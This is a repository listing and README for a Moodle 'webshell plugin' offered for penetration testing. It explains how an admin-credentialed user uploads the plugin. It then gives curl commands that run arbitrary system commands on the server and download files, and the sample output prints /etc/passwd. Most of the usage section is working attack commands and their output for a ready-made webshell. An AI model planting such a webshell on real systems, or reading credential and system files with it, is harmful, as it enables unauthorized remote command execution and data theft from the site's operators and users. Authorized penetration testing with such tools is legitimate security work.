https://github.com/p0dalirius/moodle-webshell-plugin

A webshell plugin and interactive shell for pentesting a Moodle instance.
https://github.com/p0dalirius/moodle-webshell-plugin

exploit moodle pentest plugin rce webshell

Last synced: about 1 month ago
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A webshell plugin and interactive shell for pentesting a Moodle instance.

• Host: GitHub
• URL: https://github.com/p0dalirius/moodle-webshell-plugin
• Owner: p0dalirius
• Created: 2022-05-21T15:03:15.000Z (over 2 years ago)
• Default Branch: master
• Last Pushed: 2022-05-21T15:10:32.000Z (over 2 years ago)
• Last Synced: 2024-12-18T18:45:29.651Z (about 2 months ago)
• Topics: exploit, moodle, pentest, plugin, rce, webshell
• Language: PHP
• Homepage: https://podalirius.net/
• Size: 2.85 MB
• Stars: 29
• Watchers: 2
• Forks: 3
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • Funding: .github/FUNDING.yml

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README

        
# Moodle webshell plugin for RCE



    A webshell plugin and interactive shell for pentesting a Moodle instance.

    


    

    

    

    




## Features

 - [x] Webshell plugin for Moodle.

 - [x] Execute system commands via an API with `?action=exec`.

 - [x] Download files from the remote system to your attacking machine with `?action=download`.

## Usage

**Requirements**: You need to have the credentials of the `admin` account of the Moodle instance.

### Step 1.1: Upload the webshell plugin

Go to "Site administration --> Install plugins" page, at http://127.0.0.1:10080/admin/tool/installaddon/index.php, and click on "_Choose a file_":

![](./.github/upload_and_install.png)

### Step 1.2: Plugin successfully uploaded

Press the buttons on the various pages until you get a message stating that your plugin is successfully uploaded:

![](./.github/plugin_successfully_uploaded.png)

### Step 2.1: Executing commands

You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/local/moodle_webshell/webshell.php with `action=exec&cmd=id`:

```sh

$ curl -X POST 'http://127.0.0.1:10080/local/moodle_webshell/webshell.php' --data "action=exec&cmd=id"

{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}

```

You can also access it by a GET request from a browser:

![](./.github/exec_code_web.png)

### Step 2.2: Downloading files

You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/local/moodle_webshell/webshell.php with `action=download&cmd=/etc/passwd`:

```sh

$ curl -X POST 'http://127.0.0.1:10080/local/moodle_webshell/webshell.php' --data "action=download&path=/etc/passwd" -o-

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false

```

You can also download a remote file from a browser with a GET request :

![](./.github/download_file_web.png)

### Step 3: The interactive console

When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.

https://user-images.githubusercontent.com/79218792/169657310-dee340d6-19c0-4192-bcd1-ac8b9b29b731.mp4

## References

 - https://docs.moodle.org/en/Developer_documentation

 - https://docs.moodle.org/400/en/Development:Developer_documentation#Make_a_new_plugin

 - https://docs.moodle.org/dev/Moodle_App_Plugins_Development_Guide

 - https://docs.moodle.org/dev/Plugin_files